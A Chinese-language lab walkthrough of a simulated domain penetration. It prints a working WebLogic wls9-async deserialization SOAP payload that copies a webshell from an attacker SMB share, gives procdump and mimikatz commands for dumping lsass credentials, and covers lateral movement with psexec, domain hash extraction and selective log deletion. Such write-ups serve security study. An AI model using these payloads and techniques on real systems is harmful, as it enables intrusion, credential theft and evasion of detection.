前言
第二套靶场,靶场环境做了一点改动,关于域渗透的一些知识可以参考我的另一篇文章域渗透姿势总结 :)
环境
三台主机组成的单域环境
- WIN2K8 ---- web 模拟外网 / 192.168.3.141 & 10.10.10.80 双网卡
- PC ---------- 模拟内网主机 / 10.10.10.201
- DC --------- 域控机器 / 10.10.10.10
过程
先对开放的外网机器信息收集。
扫一下端口
7001端口, weblogic10.3.6.0
访问之
针对该版本的 weblogic
,可以尝试下反序列化漏洞 & 弱口令
反序列化漏洞是由 wls9-async
组件 导致的,该组件默认开启,看一下是否存在该漏洞
访问 192.168.3.141:7001/_async
192.168.3.141:7001/_async/AsyncResponseService
测试存在该漏洞,直接抓包尝试反弹 shell
使用 powershell
等方式反弹 shell
均失败,猜测可能有防护软件, windows
下命令相对少一些,转变思路,写入木马。
尝试了 powershell
/ bitsadmin
/ certuil
等方式,都被禁掉了==
想直接通过命令 echo
一个 jsp
的马 因为 %
的问题老是报错,本来想编码一下再写进去,没找到好的编码命令。
最终的解决方案是本地搭建一个 smb
服务器,通过文件共享的方式把文件拷贝到目标机上。
kali
下自带 impacket
,通过 impacket-smbserver
起一个服务
impacker-smbserver ShareName SharePath
抓包执行 copy
命令,将冰蝎马拷贝到 weblogic
的 web
目录中。
POST /_async/AsyncResponseService HTTP/1.1
Host: 192.168.3.141:7001
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
DNT: 1
Connection: close
Content-Type: text/xml
Content-Length: 769
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:wsa="http://www.w3.org/2005/08/addressing" xmlns:asy="http://www.bea.com/async/AsyncResponseService">
<soapenv:Header>
<wsa:Action>xx</wsa:Action>
<wsa:RelatesTo>xx</wsa:RelatesTo>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>cmd</string>
</void>
<void index="1">
<string>/c</string>
</void>
<void index="2">
<string>copy \\192.168.3.128\share\shell.jsp n.jsp </string>
</void>
</array>
<void method="start"/></void>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body>
<asy:onAsyncDelivery/>
</soapenv:Body></soapenv:Envelope>
访问一下,500 ,连接马
收集信息, systeminfo
查看补丁信息,基本没打补丁
提权辅助页 查一下能用的 exp
,为后续做准备。
whoami
查看当前权限,管理员权限..
查看网卡信息,发现存在内网。
存在域环境,定位到域控ip为10.10.10.10
因为拿到的权限就是管理权限,接下来思路就很清晰,抓哈希,横向渗透,登域控,导出哈希。
如果拿到的是一个本地用户权限,可以查询当前机器上登录过的其他用户的令牌,窃取域用户的令牌来探测域用户。 meterpreter
下的 incognito
插件很方便。
尝试提权,查看进程发现有数字卫士,手头暂时又没有免杀的提权脚本,提权先放一放。
抓取哈希,使用微软官方的 procdump.exe
导出 lsass.exe
内存,本地 mimikatz
读取。
procdump.exe -accepteula -ma lsass.exe lsass.dmp
mimikatz::sekurlsa:minidump lsass.dmp
mimikatz::sekurlsa:logonpasswords
上传 reGeorgSocksProxy.py
提供的 jsp
文件,代理进内网,也可以用冰蝎自带的 socks
代理
内网探测到两台存活主机, 10.10.10.201
以及 10.10.10.10
10.10.10.201
是域内一台成员机, 10.10.10.10
是域控机器。
proxychains
挂代理扫一下开放的端口,没扫到啥有用的东西,尝试使用抓到的哈希登录。
msf
的 psexec
模块连接失败,使用微软官方自带的 psexec.exe
连接成功,拿下该主机。
查看进程发现也安装了数字卫士,前期的操作都拦截了==
继续使用 psexec
远程执行命令
域控机器上未安装任何防护软件,可以直接用 powershell
或者法国神器导出哈希,也可以将该文件拖回本地提取,如果域内用户较多,该文件可能比较大,文件回传可能会有些问题。
使用 vshadow.exe
导出文件,然后拖回本地提取哈希。具体的细节可以看我另一篇文章
kali
下使用 rdesktop
访问3389,也可以在 windows
下使用 proxifier
全局代理 mstsc.exe
连接远程桌面。
测试完成后清理痕迹,把相关日志删除掉,全部删除动静太大,只删除指定的日志,操作可以看三好学生师傅的文章
踩得坑
procdump运行问题
经过测试, procdump.exe
使用管理员权限就能转储进程内存,命令行下直接运行会在靶机弹出界面需要点同意才能转储,可以使用 procdump64.exe -accepteula -ma lsass.exe lsass.dmp
直接执行。
psexec 问题
有了域管账号密码,使用 psexec.exe
连不上域内机器,提示所有管道反例都在使用中
使用 -s
参数 获得一个 system
权限的 shell
cmd乱码
使用 chcp
命令切换编码
chcp 65001
// utf-8
编码
总结
因为跳板机与域内主机安装了防护软件,常见的白名单执行方式都没法使用,对免杀提出了很高的要求。
拿到权限后,可以把 shell
反弹到 cs
上,后续渗透操作会方便很多,也利于团队协作。
weblogic
除了反序列化的洞以外,也存在弱口令 1qaz@WSX
,部署war包拿权限也应该可行。
因为直接拿到了账户密码,如果只能获得哈希,可以使用 msf
的 psexec
模块传递哈希值,有了域内用户的账号密码,也可以尝试 MS14-068
走 kerberos
协议,因为要在被控机上注入票据,被控机有防护,暂时无法突破...